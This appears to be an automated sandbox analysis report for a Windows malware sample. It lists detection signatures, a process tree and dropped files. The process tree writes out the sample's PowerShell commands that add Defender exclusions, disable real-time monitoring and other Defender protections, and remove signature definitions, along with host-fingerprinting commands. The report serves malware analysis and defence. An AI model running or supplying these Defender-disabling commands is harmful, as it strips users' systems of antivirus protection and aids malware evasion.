Analysis
- max time kernel
150s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
05/06/2026, 01:04
General
- Target 2026-06-05_4bdb0c459aa4f5018fa79dff6e25de66_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
- Size 7.6MB
- Sample260605-bfannsa13n
- SHA256 5a1db80db0279a98a90feedd7ae958acae89821257dd03d04503250ba1ee2357
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Loads dropped DLL 16 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- UPX packed file 47 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 45 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-06-05_4bdb0c459aa4f5018fa79dff6e25de66_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-06-05_4bdb0c459aa4f5018fa79dff6e25de66_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-06-05_4bdb0c459aa4f5018fa79dff6e25de66_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-06-05_4bdb0c459aa4f5018fa79dff6e25de66_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-06-05_4bdb0c459aa4f5018fa79dff6e25de66_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-06-05_4bdb0c459aa4f5018fa79dff6e25de66_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
base_library.zip
blank.aes
blank.aes
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
python313.dll
rar.exe
rarreg.key
select.pyd
sqlite3.dll
unicodedata.pyd
__PSScriptPolicyTest_j0iftyzu.akw.ps1
memory/2980-124-0x0000014BCC240000-0x0000014BCC25C000-memory.dmp
memory/2980-104-0x0000014BCC150000-0x0000014BCC203000-memory.dmp
memory/2980-137-0x0000014BB3300000-0x0000014BB3DC2000-memory.dmp
memory/2980-78-0x0000014BCC010000-0x0000014BCC032000-memory.dmp
memory/2980-105-0x0000014BCC210000-0x0000014BCC21A000-memory.dmp
memory/3004-128-0x0000014A3D0E0000-0x0000014A3D0E8000-memory.dmp
memory/3004-125-0x0000014A3D0D0000-0x0000014A3D0DA000-memory.dmp
memory/3004-126-0x0000014A3D230000-0x0000014A3D24A000-memory.dmp
memory/3004-130-0x0000014A3D220000-0x0000014A3D22A000-memory.dmp
memory/3004-138-0x0000014A239F0000-0x0000014A244B2000-memory.dmp
memory/3004-97-0x0000014A3CE90000-0x0000014A3CEAC000-memory.dmp
memory/3004-129-0x0000014A3D210000-0x0000014A3D216000-memory.dmp
memory/4076-73-0x00007FF816350000-0x00007FF816364000-memory.dmp
memory/4076-77-0x00007FF807FB0000-0x00007FF808063000-memory.dmp
memory/4076-75-0x00007FF817340000-0x00007FF81734D000-memory.dmp
memory/4076-68-0x00007FF805C00000-0x00007FF806265000-memory.dmp
memory/4076-69-0x00007FF816370000-0x00007FF8163A3000-memory.dmp
memory/4076-115-0x00007FF816370000-0x00007FF8163A3000-memory.dmp
memory/4076-123-0x00007FF805320000-0x00007FF805853000-memory.dmp
memory/4076-122-0x00007FF816510000-0x00007FF816537000-memory.dmp
memory/4076-121-0x00007FF81AED0000-0x00007FF81AEDF000-memory.dmp
memory/4076-120-0x00007FF807FB0000-0x00007FF808063000-memory.dmp
memory/4076-71-0x00007FF805320000-0x00007FF805853000-memory.dmp
memory/4076-118-0x00007FF816350000-0x00007FF816364000-memory.dmp
memory/4076-117-0x00007FF816220000-0x00007FF8162EE000-memory.dmp
memory/4076-114-0x00007FF818220000-0x00007FF81822D000-memory.dmp
memory/4076-113-0x00007FF816450000-0x00007FF816469000-memory.dmp
memory/4076-112-0x00007FF805A80000-0x00007FF805BFF000-memory.dmp
memory/4076-111-0x00007FF816470000-0x00007FF816495000-memory.dmp
memory/4076-110-0x00007FF816590000-0x00007FF8165A9000-memory.dmp
memory/4076-109-0x00007FF8165B0000-0x00007FF8165DB000-memory.dmp
memory/4076-106-0x00007FF805C00000-0x00007FF806265000-memory.dmp
memory/4076-119-0x00007FF817340000-0x00007FF81734D000-memory.dmp
memory/4076-70-0x00007FF816220000-0x00007FF8162EE000-memory.dmp
memory/4076-62-0x00007FF816450000-0x00007FF816469000-memory.dmp
memory/4076-64-0x00007FF818220000-0x00007FF81822D000-memory.dmp
memory/4076-60-0x00007FF805A80000-0x00007FF805BFF000-memory.dmp
memory/4076-58-0x00007FF816470000-0x00007FF816495000-memory.dmp
memory/4076-56-0x00007FF816590000-0x00007FF8165A9000-memory.dmp
memory/4076-54-0x00007FF8165B0000-0x00007FF8165DB000-memory.dmp
memory/4076-31-0x00007FF816510000-0x00007FF816537000-memory.dmp
memory/4076-32-0x00007FF81AED0000-0x00007FF81AEDF000-memory.dmp
memory/4076-25-0x00007FF805C00000-0x00007FF806265000-memory.dmp